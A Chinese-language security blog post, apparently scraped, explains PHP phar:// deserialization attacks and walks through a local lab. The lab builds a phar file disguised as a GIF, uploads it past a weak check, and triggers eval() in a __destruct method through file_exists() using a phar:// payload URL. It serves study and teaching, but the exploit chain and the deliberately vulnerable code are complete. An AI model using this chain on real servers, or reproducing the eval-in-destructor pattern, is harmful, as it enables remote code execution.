zoukankan      html  css  js  c++  java
  • 1111

     

    利用 phar 拓展 php 反序列化漏洞攻击面

    概要

    来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
    这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

    关于流包装

    大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://
    例如常见的

    include('php://filter/read=convert.base64-encode/resource=index.php');
    include('data://text/plain;base64,xxxxxxxxxxxx');

    phar://也是流包装的一种

    phar原理

    a stub

    可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    官方手册

    phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    demo

    根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

    注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

    <?php
        class TestObject {
        }
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $o = new TestObject();
        $o -> data='hu3sky';
        $phar->setMetadata($o); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>

     可以明显的看到meta-data是以序列化的形式存储的。
    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    phar_fan.php

    <?php
    class TestObject{
        function __destruct()
        {
            echo $this -> data;   // TODO: Implement __destruct() method.
        }
    }
    include('phar://phar.phar');
    ?>

     

    将phar伪造成其他格式的文件

    在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

    <?php
        class TestObject {
    
        }
        $phar = new Phar('phar.phar');
        $phar -> startBuffering();
        $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
        $phar ->addFromString('test.txt','test');  //添加要压缩的文件
        $object = new TestObject();
        $object -> data = 'hu3sky';
        $phar -> setMetadata($object);  //将自定义meta-data存入manifest
        $phar -> stopBuffering();
    ?>

    使用时可以修改后缀为gif

    利用条件

    phar文件要能够上传到服务器端。

    file_exists()fopen()file_get_contents()file()等文件操作的函数

    要有可用的魔术方法作为“跳板”。

    文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    漏洞验证

    upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
    upload_file.html 文件上传表单
    file_un.php 存在file_exists(),并且存在__destruct()

    upload_file.html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>ea3y_upload_file</title>
    </head>
    <body>
        <form action="upload_file.php" method="post" enctype="multipart/form-data">
            <input type="file" name="file" />
            <input type="submit" name="upload" />
        </form>
    </body>
    </html>
    View Code

    upload_file.php

    <?php
    if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
        echo "Upload: " . $_FILES["file"]["name"];
        echo "Type: " . $_FILES["file"]["type"];
        echo "Temp file: " . $_FILES["file"]["tmp_name"];
    
        if (file_exists("upload_file/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload_file/" .$_FILES["file"]["name"]);
          echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
          }
        }
    else
      {
      echo "Invalid file,you can only upload gif";
      }
    View Code

    file_un.php

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    file_exists($filename);
    View Code

    首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,

    然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

    构造代码

    <?php
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $object = new AnyClass();
    $object -> output= 'phpinfo();';
    $phar -> setMetadata($object);
    $phar -> stopBuffering();
    View Code

    生成后修改后缀为GIF 即可

    上传gif之后访问

    payload:

    http://127.0.0.1/ceshi1/file_un.php?filename=phar://upload_file/phar.gif

     文章引用学习:https://xz.aliyun.com/t/2715

     [CISCN2019 华北赛区 Day1 Web1]Dropbox

     

     简介

    1

     简介

    1 1

     简介

    111

  • 相关阅读:
    tcp为什么要三次握手
    TCP/IP协议(一)网络基础知识
    拜占庭将军问题深入探讨
    Block Manager
    Standalone 集群部署
    Spark内存管理
    Checkpoint & cache & persist
    Python——在Python中如何使用Linux的epoll
    网络编程——C10K简述
    网络编程——The C10K Problem(C10K = connection 10 kilo 问题)。k 表示 kilo,即 1000
  • 原文地址:https://www.cnblogs.com/xhds/p/12424828.html
Copyright © 2011-2022 走看看